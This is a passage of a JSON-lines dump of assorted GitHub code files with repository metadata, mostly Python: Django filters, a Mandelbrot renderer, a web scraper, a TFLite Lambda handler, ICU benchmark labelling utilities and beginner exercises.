values: \\n {unique_values}\")\n print(f\"[{col}] - Value counts: \\n {value_counts}\\n\")\n\n\nfor csv in csvArray:\n df = pd.read_csv(csv, encoding='cp949')\n print('Dataset Title : ', csv)\n statistical_description(df)\n\n\n\n","repo_name":"1109min/DataScience-TermProject-Team11","sub_path":"termProject/checkData.py","file_name":"checkData.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70192299608","text":"\nimport unittest\nimport numpy as np\nfrom scikit_lag import lag, LagRegressor\n\nclass TestLagRgressor(unittest.TestCase):\n\n def test_lag_nan(self):\n \tx = np.arange(10, dtype=np.float32)\n \tlagged = lag(x, 2)\n \tself.assertEqual(lagged[-1], 7)\n \tself.assertTrue(np.isnan(lagged[1]))\n\n def test_regressor(self):\n \tnp.random.seed(22)\n \tn = 50\n \tX = np.random.normal(0, 1, size=(n, 2))\n \ty = np.random.normal(0, 1, n)\n \treg = LagRegressor(maxlag=2)\n \treg.fit(X, y)\n \tpred = reg.predict(X)\n \tself.assertEqual(len(pred), n)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"dirknbr/scikit_lag_regressor","sub_path":"scikit_lag_test.py","file_name":"scikit_lag_test.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"3701397718","text":"from django import template\n\nregister = template.Library()\n\n\n@register.filter(name='range_')\ndef range_(number, diff=1):\n return range(0, number, diff)\n\n\n@register.filter(name='querysetToList')\ndef querysetToList(queryset, index=None):\n if not index:\n if queryset.count() > 0:\n return [element for element in queryset]\n return []\n else:\n list_ = [element for element in queryset]\n return list_[index]\n\n\n@register.filter(name='quotient')\ndef quotient(number, divideby):\n return int(number / divideby)\n\n\n@register.filter(name='remainder')\ndef remainder(number, divideby):\n return number % divideby\n\n\n@register.filter(name='toGrid')\ndef toGrid(querySet, column):\n if querySet.count() > 0:\n list_ = []\n temp = []\n i = 0\n for element in querySet:\n if not i == 0 and i % column == 0:\n list_.append([temp, i])\n temp = []\n temp.append(element)\n i += 1\n if len(temp) > 0:\n list_.append([temp, i])\n return list_\n return []\n\n\n@register.filter(name='upto')\ndef upto(querySet, index):\n if querySet.count() == 0:\n return querySet\n if querySet.count() > 3:\n data = querysetToList(querySet)[:index]\n return [[data[i], i + 1] for i in range(3)]\n data = querysetToList(querySet)\n return [[data[i], i + 1] for i in range(len(data))]\n\n\n@register.filter(name='concat')\ndef concat_(arg1, arg2):\n return str(arg1) + str(arg2)\n\n\n@register.filter(name='maxLength')\ndef maxLength(arg1, arg2):\n return arg1[:int(arg2)]\n","repo_name":"SaadJamilAkhtar/Portfolio","sub_path":"Main/templatetags/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"21467069456","text":"import numpy\nimport colorsys\n\nfrom lib import bitmap\n\nznext = lambda z, c : z**2 + c\n\ndef mandelbrot(x_range=(-2, 1), y_range=(-1, 1), resolution=800, color=False):\n\n # lengths of the intervals (ranges)\n x_length = x_range[1] - x_range[0]\n y_length = y_range[1] - y_range[0]\n\n # if the range is not 1:1 recalculate 'y-resolution'\n x_resolution = resolution\n y_resolution = int((y_length / x_length) * resolution)\n\n img = bitmap.PNG(x_resolution, y_resolution)\n\n # steps for x and y axis so we produce 'enough pixels' to fill the image\n x_step = x_length / x_resolution\n y_step = y_length / y_resolution\n\n for real in numpy.arange(x_range[0], x_range[1], x_step):\n print(real)\n for imag in numpy.arange(y_range[0], y_range[1], y_step):\n\n c = complex(real, imag)\n z = complex(0, 0)\n\n i = 0\n while i < 30:\n z = znext(z, c)\n\n if abs(z) > 2:\n break\n\n i += 1\n\n # pixel coordinates -- make sure to start with 0 and end with x/y-resoltion\n if x_range[0] <= 0:\n px = (real + abs(x_range[0])) * (x_resolution / x_length)\n else:\n px = (real - abs(x_range[0])) * (x_resolution / x_length)\n if y_range[0] <= 0:\n py = (imag + abs(y_range[0])) * (y_resolution / y_length)\n else:\n py = (imag - abs(y_range[0])) * (y_resolution / y_length)\n\n # color or greyscale\n if color:\n hsv_color = (1 - (i / 30), 0.75, 0.75)\n rgb_color = [int(255 * j) for j in colorsys.hsv_to_rgb(*hsv_color)]\n else:\n rgb_color = [255 - (i * 10), 255 - (i * 10), 255 - (i * 10)]\n img.draw_pixel(bitmap.Point(px, py), color=(rgb_color[0], rgb_color[1], rgb_color[2]))\n\n img.show()\n\n\nmandelbrot()\nmandelbrot(color=True)\nmandelbrot(x_range=(0.25, 0.45), y_range=(0.45, 0.60), color=True)\n","repo_name":"vojtechtrefny/iv122","sub_path":"cv7/mandelbrot.py","file_name":"mandelbrot.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38820840672","text":"from functools import cache\nfrom typing import List\n\n\nclass Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> List[str]:\n @cache\n def work_break_healper(string: str) -> List[List[str]]:\n if not string:\n return [[]]\n\n combinations = []\n for length in range(1, len(string)+1):\n word = string[:length]\n if word in word_set:\n for sub_word in work_break_healper(string[length:]):\n combinations.append([word] + sub_word)\n\n return combinations\n\n word_set = set(wordDict)\n result = work_break_healper(s)\n return [\" \".join(i) for i in result]\n","repo_name":"yuchia0221/Leetcode","sub_path":"Dynamic Programming/140-WordBreakII/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"15917841638","text":"from PIL import Image\nfrom io import BytesIO\nfrom django.core.files import File\nfrom django.db import models\n\n\nclass Location(models.Model):\n name = models.CharField(max_length=255, verbose_name=\"Название\")\n url_name = models.CharField(max_length=255, verbose_name=\"Название латиница\", null=True, blank=True)\n location = models.CharField(max_length=255, verbose_name=\"Местоположение\")\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Локацию\"\n verbose_name_plural = \"Локации\"\n ordering = [\"id\"]\n\n\ndef compress(image):\n im = Image.open(image)\n if im.mode != 'RGB':\n im = im.convert('RGB')\n im_io = BytesIO()\n im.save(im_io, 'JPEG', quality=60)\n new_image = File(im_io, name=image.name)\n return new_image\n\n\nclass LocationImage(models.Model):\n location = models.ForeignKey(Location, models.SET_NULL, 'images', null=True, blank=True,\n verbose_name=\"фотографии услуги\")\n img = models.ImageField(upload_to=\"locations\", verbose_name=\"Фото\")\n\n def save(self, *args, **kwargs):\n new_image = compress(self.img)\n self.img = new_image\n super().save(*args, **kwargs)\n\n def __str__(self):\n return str(self.id)\n\n class Meta:\n verbose_name = \"Фотография\"\n verbose_name_plural = \"Фотографии\"\n","repo_name":"aycanmuratbekova/kg","sub_path":"locations/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31346255942","text":"from setuptools import find_packages, setup\n\nREQUIRED_PACKAGES = [\n \"colorcet\",\n # \"giskard @ https://github.com/bdpedigo/giskard.git#egg=giskard\",\n \"graspologic\",\n \"matplotlib\",\n \"networkx>=2.5\",\n \"numpy>=1.19\",\n \"pandas>=1.0\",\n # \"python-catmaid>=2.0.2\",\n \"scikit-learn>=0.24.0\",\n \"scipy>=1.6.0\",\n \"seaborn>=0.11.0\",\n \"umap-learn>=0.5\",\n]\n\nsetup(\n name=\"pkg\",\n packages=find_packages(),\n version=\"0.1.0\",\n description=\"Local package for bilateral-connectome paper\",\n author=\"Neurodata\",\n license=\"MIT\",\n install_requires=REQUIRED_PACKAGES,\n dependency_links=[],\n)\n","repo_name":"bdpedigo/networks-course","sub_path":"pkg/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"31"} +{"seq_id":"7535037602","text":"from datetime import date\nfrom importlib import import_module\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass DOceanHtmlScrapy:\n req = requests.get(\"https://www.digitalocean.com/pricing/\").text # requisição get ao enpoint, com retorno em text\n soup = BeautifulSoup(req, 'html.parser') # formatação do texto para html\n text_lines = soup.select('ul.priceBox') # seleciona tag\n\n dict_terminal = {}\n\n @classmethod\n def save_scrapy(cls):\n for count in range(6):\n top_box = cls.text_lines[0].select('div.topBox')[count].get_text().split(' ')\n bottom_box_one = cls.text_lines[0].select('a > div:nth-child(2) > ul > li:nth-child(1)'\n '')[count].get_text().split('/')\n bottom_box_two = cls.text_lines[0].select('a > div:nth-child(2) > ul > li:nth-child(2)')[count].get_text()\n bottom_box_thr = cls.text_lines[0].select('a > div:nth-child(2) > ul > li:nth-child(3)')[count].get_text()\n\n data = {\n 'score': 'N/A',\n 'storage': bottom_box_two,\n 'cpu': bottom_box_one[1],\n 'memory': bottom_box_one[0],\n 'bandwidth': bottom_box_thr,\n 'price': top_box[0],\n 'hr_price': top_box[1],\n 'date': str(date.today()),\n 'tipo': 'regular',\n 'scraped_page': 'https://www.digitalocean.com/pricing/'\n }\n local_db = import_module(f'models.LocalDB')\n local_db.DB.fill_db(**data)\n cls.dict_terminal.update({count: data})\n return cls.dict_terminal\n","repo_name":"Carlos-rof/web_crawler","sub_path":"resources/DOceanHtmlScrapy.py","file_name":"DOceanHtmlScrapy.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74257719128","text":"def checkio(data):\n\ty=len(data)\n\tx=len(data[0])\n\tm=[[0]*x for i in range(y)]\n\tfor j in range(y):\n\t\tr=0\n\t\tfor i in range(x):\n\t\t\tif data[j][i]=='G' or data[j][i]=='S': r+=1\n\t\t\telse: r=0\n\t\t\tm[j][i]=r\n\tr=0\n\tfor i in range(x):\n\t\tfor j in range(y):\n\t\t\tM=9999999\n\t\t\tfor k in range(j,y):\n\t\t\t\tM=min(M,m[k][i])\n\t\t\t\tr=max(r,M*(k-j+1))\n\treturn r\n\nif __name__ == '__main__':\n\tassert checkio(['G']) == 1, 'One cell - one variant'\n\tassert checkio(['GS',\n\t\t\t\t\t'GS']) == 4, 'Four good cells'\n\tassert checkio(['GT',\n\t\t\t\t\t'GG']) == 2, 'Four cells, but with a tree'\n\tassert checkio(['GGTGG',\n\t\t\t\t\t'TGGGG',\n\t\t\t\t\t'GSSGT',\n\t\t\t\t\t'GGGGT',\n\t\t\t\t\t'GWGGG',\n\t\t\t\t\t'RGTRT',\n\t\t\t\t\t'RTGWT',\n\t\t\t\t\t'WTWGR']) == 9, 'Classic'","repo_name":"cielavenir/checkio","sub_path":"scientific-expedition/spaceship-landing-strip.py","file_name":"spaceship-landing-strip.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70399163288","text":"import os\n\nfrom decouple import config\n\n# The prefix that will be used to parse commands.\n# It doesn't have to be a single character!\nCOMMAND_PREFIX = config(\"BOT_DEFAULT_PREFIX\")\n\n# The bot token. Keep this secret!\nBOT_TOKEN = config(\"DISCORD_API_BOT_TOKEN\")\nBOT_CLIENT_ID = config(\"DISCORD_CLIENT_ID\")\n# The now playing game. Set this to anything false-y (\"\", None) to disable it\nNOW_PLAYING = COMMAND_PREFIX + \"commands\"\n\n# Base directory. Feel free to use it if you want.\nBASE_DIR = os.path.dirname(os.path.realpath(__file__))\n\nWARCRAFTLOGS_REGEX = \"(?:http:\\/\\/|https:\\/\\/)(?:www.warcraftlogs.)(?:com|fr)(?:\\/)(?:reports)(?:\\/)(?:(\\w)*)(?:\\/)\"\n","repo_name":"benftwc/lydros-bot","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72905359768","text":"num = int(input(\"Enter number: \"))\n\nflag = False\nif num > 1:\n for i in range(2, num):\n # mathematically here, should use num/2, but can leave for now\n if num % 2:\n flag = True\n break\n\nif flag:\n print(\"Not prime\")\nelse:\n print(\"Prime\")","repo_name":"gargchirayu/Python-basic-projects","sub_path":"prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18307026929","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nhtml = '''Content-type: text/html;\n\n\n\n\n \n クエリベクトル作成\n\n\n

    キーワードを入力してください

    \n
    \n \n \n\n

    %s

    \n\n\n'''\n\nimport cgi\nimport os, sys\nimport read_wakachi\nimport numpy as np\nimport pandas as pd\nimport glob\nimport re\nimport MeCab\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\ntry:\n import msvcrt\n msvcrt.setmode(0, os.O_BINARY)\n msvcrt.setmode(1, os.O_BINARY)\nexcept ImportError:\n pass\n\n# metadata.csvの置き場所を指定\ndir='./cgi-bin/metadata.csv'\nqvec=0\n\ndef is_str(v):\n return type(v) is str\n\nf = cgi.FieldStorage()\nkeywords = f.getfirst('keyword', '')\n\n# ここから処理の内容を書く。\nif is_str(keywords):\n keyws=read_wakachi.parsewithelimination(keywords)\n keys=np.array(keyws.split())\n if os.path.isfile(dir):\n df = pd.read_csv(dir, header=0, index_col=0)\n qvec=np.zeros(df.columns.shape)\n for key in keys:\n if np.any(df.columns == key):\n qvec[np.where(df.columns==key)[0][0]]=1\n\nelse:\n keys='キーワードを入力してください'\n\n#num=sum(qvec == 1)\n\n\n\nprint (html % qvec)","repo_name":"MinamiKota/Portfolio","sub_path":"人工知能(AI)アルゴリズムデザイン/index9.py","file_name":"index9.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10836138345","text":"import tflite_runtime.interpreter as tflite\n# from keras_image_helper import create_preprocessor\nfrom PIL import Image\nimport requests\nimport numpy as np \n\ndef get_image(url):\n img = Image.open(requests.get(url, stream=True).raw)\n img = img.resize((299, 299), Image.Resampling.NEAREST)\n x = np.array(img, dtype='float32')\n return np.array([x])\n\ndef preprocess_input(x):\n x /= 127.5\n x -= 1.\n return x\n\n# preprocessor = create_preprocessor('xception', target_size=(299, 299))\n\ninterpreter = tflite.Interpreter(model_path='clothing-model.tflite')\n# memory allocation\ninterpreter.allocate_tensors()\n\ninput_index = interpreter.get_input_details()[0]['index']\noutput_index = interpreter.get_output_details()[0]['index']\n\nclasses = [\n 'dress',\n 'hat',\n 'longsleeve',\n 'outwear',\n 'pants',\n 'shirt',\n 'shoes',\n 'shorts',\n 'skirt',\n 't-shirt'\n]\n\n# url = 'http://bit.ly/mlbookcamp-pants'\n\ndef predict(url):\n # X = preprocessor.from_url(url)\n img = get_image(url)\n X = preprocess_input(img)\n\n interpreter.set_tensor(input_index, X)\n interpreter.invoke()\n preds = interpreter.get_tensor(output_index)\n\n predictions = preds[0].tolist()\n\n return dict(zip(classes, predictions))\n\n\ndef lambda_handler(event, context):\n url = event['url']\n result = predict(url)\n return result\n","repo_name":"nadia-paz/ML-Zoomcamp","sub_path":"week9/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28076101035","text":"# 変数のスコープ\n# 関数の中で使っている変数をローカル変数という。\n# 関数の外側で定義している変数をグローバル変数という。\n\n# 非ローカル変数の変更\na = 'グローバル変数a'\ndef funcA():\n a = 'funcA()の変数a'\n b = 'funcA()の変数b'\n def funcB():\n b = 'funcB()の変数b'\n c = 'funcB()の変数c'\n print(a, b, c)\n funcB()\n print(b)\n\nfuncA()\nprint(a)\n\n# 関数の外側の変数を変更したいときは、globalまたはnonlocalを使って、\n# 変数が非ローカルである事を宣言する必要がある。\na = 0\ndef funcA():\n global a\n a = 1\n b = 2\n def funcB():\n nonlocal b\n b = 2\n c = 2\n print(a, b, c)\n funcB()\n print(b)\nfuncA()\nprint(a)\n","repo_name":"Lazurle/Python_Ehon","sub_path":"5,関数/scope01.py","file_name":"scope01.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14727465533","text":"#\n# file-system.py\n# created by Steven Traversi\n# (c) Steven Traversi 2016\n#\n\nimport re\n\nclass Directory:\n\n def __init__(self, name):\n \"\"\"Set the name of the directory and start an empty dict to hold\n files and other directories.\n \"\"\"\n self.name = name\n self.contents = {}\n\n def add_sub_dir(self, name):\n \"\"\"Add a sub dir, name, of the current dir represented by root.\n Return it.\n \"\"\"\n new_dir = Directory(name)\n self.contents[name] = new_dir\n new_dir.contents[\"..\"] = self\n return new_dir\n\n def add_file(self, name, contents):\n \"\"\"Add a file called name to the current dir. Return it.\"\"\"\n new_file = File(name, contents)\n self.contents[name] = new_file\n return new_file\n\n def search(self, keyword):\n \"\"\"Search the current directory and all of its sub directories (etc.),\n and return the relative paths of any hits. If there are no hits, return\n empty.\n \"\"\"\n assert False, \"Implement me\"\n results = []\n for obj in self.contents:\n if re.search(keyword, obj.name):\n results.append(obj.name)\n if isinstance(obj, Directory):\n results += obj.search(keyword)\n elif isinstance(obj, File) and re.search(keyword, obj.contents):\n results.append(obj.name)\n return [self.name + \"/\" + sub_path for sub_path in results]\n\n def get_dir(self, path):\n \"\"\"Get the directory relative to this directory at path.\n Example:\n self = ~/Documents\n path = Projects/Blog\n RETURN: Directory @ ~/Documents/Projects/Blog\n \"\"\"\n if path == \"\" or path == self.name:\n return self\n dirs = path.split(\"/\")\n for child, reference in self.contents.items():\n if isinstance(reference, Directory) and child == dirs[0]:\n return reference.get_dir(\"/\".join(dirs[1:]))\n raise ValueError(\"Fix me\")\n\n def absolute_path(self):\n if not \"..\" in self.contents:\n return self.name\n return self.contents[\"..\"].absolute_path() + \"/\" + self.name\n\nclass File:\n\n def __init__(self, name, contents):\n \"\"\"Set the name of the file and its contents as a string.\"\"\"\n self.name = name\n self.contents = contents\n","repo_name":"straversi/web-term","sub_path":"file_system.py","file_name":"file_system.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"72683816728","text":"import numpy as np\nfrom icu_benchmarks.common.constants import STEPS_PER_HOUR, BINARY_TSH_URINE\n\n\ndef get_hr_status(hr_col):\n \"\"\"Return a presence feature on HR given the cumulative counts of HR.\n\n Presence at time t is valid if there is a HR measurement in th 15min surrounding the index.\n i.e in [idx-1, idx. idx+1]\n \"\"\"\n\n hr_status_arr = np.zeros_like(hr_col)\n for jdx in range(hr_col.size):\n subarr = hr_col[max(0, jdx - 2):min(hr_col.size - 1, jdx + 2)]\n three_steps_hr_diff = subarr[-1] - subarr[0]\n hr_status_arr[jdx] = 1 if three_steps_hr_diff > 0 else 0\n\n return hr_status_arr\n\n\ndef get_any_resp_label(pre_resp_arr):\n \"\"\"Transforms multiple level of severity annotation of respiratory failure events to a unique binary label\"\"\"\n\n ann_resp_arr = np.zeros_like(pre_resp_arr)\n for jdx in range(ann_resp_arr.size):\n if pre_resp_arr[jdx] in [\"event_1\", \"event_2\", \"event_3\"]:\n ann_resp_arr[jdx] = 1\n elif pre_resp_arr[jdx] in [\"UNKNOWN\"]:\n ann_resp_arr[jdx] = np.nan\n return ann_resp_arr\n\n\ndef convolve_hr(in_arr, hr_status_arr):\n \"\"\" Convolve an array with a HR status arr\"\"\"\n out_arr = np.copy(in_arr)\n out_arr[hr_status_arr == 0] = np.nan\n return out_arr\n\n\ndef transition_to_abs(score_arr, target, lhours, rhours):\n \"\"\" Transition to an absolute value from a value below the target\"\"\"\n out_arr = np.zeros_like(score_arr)\n for jdx in range(out_arr.size):\n if score_arr[jdx] >= target:\n out_arr[jdx] = np.nan\n continue\n low_idx = min(score_arr.size, jdx + 1 + STEPS_PER_HOUR * lhours)\n high_idx = min(score_arr.size, jdx + 1 + STEPS_PER_HOUR * rhours)\n future_arr = score_arr[low_idx:high_idx]\n if future_arr.size == 0:\n out_arr[jdx] = np.nan\n elif np.sum(future_arr >= target) > 0:\n out_arr[jdx] = 1.0\n return out_arr\n\n\ndef unique_label_at_hours(stay_length, status, at_hours=24):\n \"\"\" Unique Label assigned at a fixed time-point\"\"\"\n out_arr = np.zeros(stay_length)\n out_arr[:] = np.nan\n if stay_length >= at_hours * STEPS_PER_HOUR:\n out_arr[at_hours * STEPS_PER_HOUR - 1] = status\n return out_arr\n\n\ndef transition_to_failure(ann_col, lhours=None, rhours=None):\n \"\"\" Transition to failure defined on a binary annotation column\"\"\"\n out_arr = np.zeros_like(ann_col)\n for jdx in range(len(out_arr)):\n if np.isnan(ann_col[jdx]) or ann_col[jdx] == 1:\n out_arr[jdx] = np.nan\n elif ann_col[jdx] == 0:\n low_idx = min(ann_col.size, jdx + 1 + lhours * STEPS_PER_HOUR)\n high_idx = min(ann_col.size, jdx + 1 + rhours * STEPS_PER_HOUR)\n fut_arr = ann_col[low_idx:high_idx]\n if (fut_arr == 1.0).any():\n out_arr[jdx] = 1\n return out_arr\n\n\ndef future_urine_output(urine_col, urine_meas_arr, weight_col, rhours=None):\n \"\"\" Regression and binary classification problems on urine output in the future\"\"\"\n reg_out_arr = np.zeros_like(urine_col)\n binary_out_arr = np.zeros_like(urine_col)\n\n for jdx in range(urine_col.size):\n\n # No valid urine measurement anchor in 2 hours, the task is invalid\n measurement_idx = min(jdx + STEPS_PER_HOUR * rhours, urine_col.size - 1)\n\n end_of_stay_before_2h = measurement_idx == urine_col.size - 1\n urine_diff = urine_meas_arr[measurement_idx] - urine_meas_arr[measurement_idx - 1]\n no_measurement_in_2h = urine_diff <= 0\n\n if end_of_stay_before_2h or no_measurement_in_2h:\n binary_out_arr[jdx] = np.nan\n reg_out_arr[jdx] = np.nan\n continue\n\n current_weight = weight_col[jdx]\n\n cum_increase = 0\n for kdx in range(1, rhours * STEPS_PER_HOUR + 1):\n if jdx + kdx >= urine_col.size:\n break\n cum_increase += urine_col[jdx + kdx]\n std_cum_increase = cum_increase / (current_weight * STEPS_PER_HOUR * rhours)\n reg_out_arr[jdx] = std_cum_increase\n\n # More than 0.5 ml/kg/h\n if std_cum_increase >= BINARY_TSH_URINE:\n binary_out_arr[jdx] = 1.0\n\n return reg_out_arr, binary_out_arr\n\n\ndef merge_apache_groups(apache_ii_group, apache_iv_group, apache_ii_map, apache_iv_map):\n \"\"\"Merges apache II and IV definition to have a unique APACHE label\"\"\"\n\n if np.isfinite(apache_ii_group) and int(apache_ii_group) in apache_ii_map.keys():\n apache_pat_group = apache_ii_map[int(apache_ii_group)]\n elif np.isfinite(apache_iv_group) and int(apache_iv_group) in apache_iv_map.keys():\n apache_pat_group = apache_iv_map[int(apache_iv_group)]\n else:\n apache_pat_group = np.nan\n return apache_pat_group\n","repo_name":"ratschlab/HIRID-ICU-Benchmark","sub_path":"icu_benchmarks/labels/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4735,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"31"} +{"seq_id":"19170990449","text":"import math\nT = int(input())\nfor tc in range(1, T+1):\n\ta, d, n = map(int, input().split())\n\tm = 1000003\n\tif n >= m and d > 0:\n\t\tanswer = 0\n\telif a == 0 and d == 0:\n\t\tanswer = 0\n\telif a == 1 and d == 0:\n\t\tanswer = 1\n\telif d == 0:\n\t\tanswer = (a ** n)%m\n\telse:\n\t\tg = math.gcd(m-a,d)\n\t\tq = (m-a)//g\n\t\tif q < n:\n\t\t\tanswer = 0\n\t\telse:\n\t\t\tprod = 1\n\t\t\tfor i in range(n//2):\n\t\t\t\tprod *= (a+i*d)*(a+(n-1-i)*d)\n\t\t\t\tif prod > m:\n\t\t\t\t\tprod %= m\n\t\t\tif n%2:\n\t\t\t\tprod =prod * (a + (n//2)*d)\n\t\t\tanswer = prod%m\n\tprint(answer)","repo_name":"hamelin92/TIL","sub_path":"code_/swea/swea13550_product_seq.py","file_name":"swea13550_product_seq.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41763490761","text":"import cv2\nimport numpy as np\nfrom PIL import Image, ImageDraw\n\n\ndef compute_color_histograms(frames: np.ndarray) -> np.ndarray:\n assert list(frames.shape[1:]) == [27, 48, 3], \"compute_color_histograms works only with frames of shape [27, 48, 3]\"\n histograms = np.empty([len(frames), 12, 6, 6, 6])\n\n for i in range(len(frames)):\n j = 0\n for y_low, y_high in [(0, 9), (9, 18), (18, 27)]:\n for x_low, x_high in [(0, 12), (12, 24), (24, 36), (36, 48)]:\n histograms[i, j] = cv2.calcHist([frames[i, y_low:y_high, x_low:x_high]],\n [0, 1, 2], None, [6, 6, 6], [0, 256, 0, 256, 0, 256])\n j += 1\n return histograms\n\n\ndef visualize_scenes_and_keyframes(frames: np.ndarray, scenes: np.ndarray, keyframes: np.ndarray, clusters: np.ndarray):\n nf, ih, iw, ic = frames.shape\n width = 25\n if len(frames) % width != 0:\n pad_with = width - len(frames) % width\n frames = np.concatenate([frames, np.zeros([pad_with, ih, iw, ic], np.uint8)])\n height = len(frames) // width\n\n scene = frames.reshape([height, width, ih, iw, ic])\n scene = np.concatenate(np.split(\n np.concatenate(np.split(scene, height), axis=2)[0], width\n ), axis=2)[0]\n\n img = Image.fromarray(scene)\n draw = ImageDraw.Draw(img, \"RGBA\")\n\n def draw_start_frame(frame_no):\n w = frame_no % width\n h = frame_no // width\n draw.rectangle([(w * iw, h * ih), (w * iw + 2, h * ih + ih - 1)], fill=(255, 0, 0))\n draw.polygon(\n [(w * iw + 7, h * ih + ih // 2 - 4), (w * iw + 12, h * ih + ih // 2), (w * iw + 7, h * ih + ih // 2 + 4)],\n fill=(255, 0, 0))\n draw.rectangle([(w * iw, h * ih + ih // 2 - 1), (w * iw + 7, h * ih + ih // 2 + 1)], fill=(255, 0, 0))\n\n def draw_end_frame(frame_no):\n w = frame_no % width\n h = frame_no // width\n draw.rectangle([(w * iw + iw - 1, h * ih), (w * iw + iw - 3, h * ih + ih - 1)], fill=(255, 0, 0))\n draw.polygon([(w * iw + iw - 8, h * ih + ih // 2 - 4), (w * iw + iw - 13, h * ih + ih // 2),\n (w * iw + iw - 8, h * ih + ih // 2 + 4)], fill=(255, 0, 0))\n draw.rectangle([(w * iw + iw - 1, h * ih + ih // 2 - 1), (w * iw + iw - 8, h * ih + ih // 2 + 1)],\n fill=(255, 0, 0))\n\n def draw_transition_frame(frame_no):\n w = frame_no % width\n h = frame_no // width\n draw.rectangle([(w * iw, h * ih), (w * iw + iw - 1, h * ih + ih - 1)], fill=(128, 128, 128, 180))\n\n def draw_key_frame(frame_no):\n w = frame_no % width\n h = frame_no // width\n draw.rectangle([(w * iw, h * ih), (w * iw + iw - 1, h * ih + ih - 1)], outline=(255, 255, 0))\n\n def draw_cluster_split(frame_no):\n w = frame_no % width\n h = frame_no // width\n draw.polygon(\n [(w * iw - .5, h * ih + ih // 2 - 6), (w * iw + 5, h * ih + ih // 2), (w * iw - .5, h * ih + ih // 2 + 6),\n (w * iw - 7, h * ih + ih // 2)], fill=(0, 255, 0), outline=(0, 0, 0))\n\n curr_frm, curr_scn, curr_kfm, curr_ctr = 0, 0, 0, 0\n\n while curr_scn < len(scenes):\n start, end = scenes[curr_scn]\n # gray out frames that are not in any scene\n while curr_frm < start:\n draw_transition_frame(curr_frm)\n curr_frm += 1\n\n # draw start and end of a scene\n draw_start_frame(curr_frm)\n draw_end_frame(end)\n\n # draw all keyframes in the scene\n while curr_kfm < len(keyframes) and keyframes[curr_kfm] <= end:\n draw_key_frame(keyframes[curr_kfm])\n curr_kfm += 1\n\n # draw all cluster splits in the scene\n while curr_ctr < len(clusters) and clusters[curr_ctr] <= end:\n draw_cluster_split(clusters[curr_ctr])\n curr_ctr += 1\n\n # go to the next scene\n curr_frm = end + 1\n curr_scn += 1\n\n # gray out the last frames that are not in any scene (if any)\n while curr_frm < nf:\n draw_transition_frame(curr_frm)\n curr_frm += 1\n\n return img\n","repo_name":"siret/somhunter","sub_path":"extractor/keyframe_selection/keyframe_selection_utils.py","file_name":"keyframe_selection_utils.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"31"} +{"seq_id":"35586589111","text":"phonebook = {\"Chris\": \"555-1111\", \"Katie\": \"555-2222\", \"Joanne\": \"555-3333\"}\r\n\r\n\"\"\"\r\nprint(phonebook)\r\nprint(len(phonebook))\r\n\"\"\"\r\n\r\n\"\"\"\r\nCREATING A DICTIONARY WITH DICT\r\n\r\nmydictionary = dict(m=8, n=9)\r\nprint(mydictionary)\r\n\"\"\"\r\n\r\n\"\"\"\r\nCALLING AN ITEM IN THE DICTIONARY\r\n\r\nphonebook = {\"Chris\": \"555-1111\", \"Katie\": \"555-2222\", \"Joanne\": \"555-3333\"}\r\nphone = phonebook[\"Chris\"]\r\nprint(phone)\r\n\r\nname = \"Chris\"\r\nif name in phonebook:\r\n print(phonebook[name])\r\nelse:\r\n print(\"Not Found\")\r\n\"\"\"\r\n\r\n\"\"\"\r\nEDITING A DICTIONARY\r\n\r\nphonebook[\"Chris\"] = \"555-4444\"\r\nphonebook[\"Joe\"] = \"555-0123\"\r\nprint(phonebook)\r\n\"\"\"\r\n\r\n\"\"\"\r\nREMOVING 